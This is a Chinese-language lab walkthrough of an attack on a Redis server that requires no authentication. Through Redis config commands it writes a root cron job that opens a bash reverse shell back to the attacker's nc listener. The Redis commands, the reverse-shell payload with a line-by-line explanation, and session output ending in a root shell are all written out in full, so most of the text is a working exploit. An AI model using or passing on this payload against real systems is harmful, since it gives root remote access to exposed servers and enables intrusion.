未授权访问漏洞利用姿势 5：利用持久化写计划任务来反弹一个 shell 权限

1、首先在攻击机设立一个 nc 反弹接收端。
Kali 是我的攻击机

2、攻击机未授权访问登录到靶机

3、利用攻击机登录的靶机，在把靶机中设置反弹 shell
靶机设置前提条件

① bind 0.0.0.0
② Protect mode no
③ 防火墙关闭

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.137.137/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
Save
反弹 shell 解释
要产生一个交互式的 shell，使用 bash -i
标准输入 standard input 0 （默认设备键盘）
标准输出 standard output 1（默认设备显示器）
错误输出：error output 2（默认设备显示器）
bash-i
产生一个 bash 交互环境。
>&
将联合符号前面的内容与后面相结合然后一起重定向给后者。
/dev/tcp/192.168.137.137/2333
linux 环境中所有的内容都是以文件的形式存在的，其实大家一看见这个内容就能明白，就是让主机与目标主机 192.168.137.137：2333 端口建立一个 TCP 连接。
0>&1
将标准的输入与标准输出内容相结合，然后重定向给前面标准的输出内容。

bash 产生了一个交互环境与本地主机主动发起与目标主机 2333 端口建立的连接（即 TCP 2333 会话连接）相结合，然后在重定向个 tcp 2333 会话连接，最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出，即得到一

个 bash 反弹环境。

```
192.168.137.145:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.137.137/2333 0>&1\n\n"
OK
192.168.137.145:6379> config set dir /var/spool/cron/crontabs/
(error) ERR Changing directory: No such file or directory
192.168.137.145:6379> config set dir /var/spool/cron/crontabs/
(error) ERR Changing directory: No such file or directory
192.168.137.145:6379> config set dir /var/spool/cron/
OK
192.168.137.145:6379> config set dbfilename root
OK
192.168.137.145:6379> save
OK
```

1、等待反弹 shell 回值

```
┌──(root💀kali)-[~/redis-4.0.8/src]
└─# nc -lvp 2333
listening on [any] 2333 ...
connect to [192.168.137.137] from 192.168.137.145 [192.168.137.145] 41524
bash: no job control in this shell
[root@192 ~]# whoamin
whoamin
bash: whoamin: command not found...
Similar command is: 'whoami'
[root@192 ~]# whoami
whoami
root
[root@192 ~]# ls
ls
anaconda-ks.cfg
Desktop
Documents
```

这时就是操作靶机的命令了。

注意：仅适用于 centos 操作系统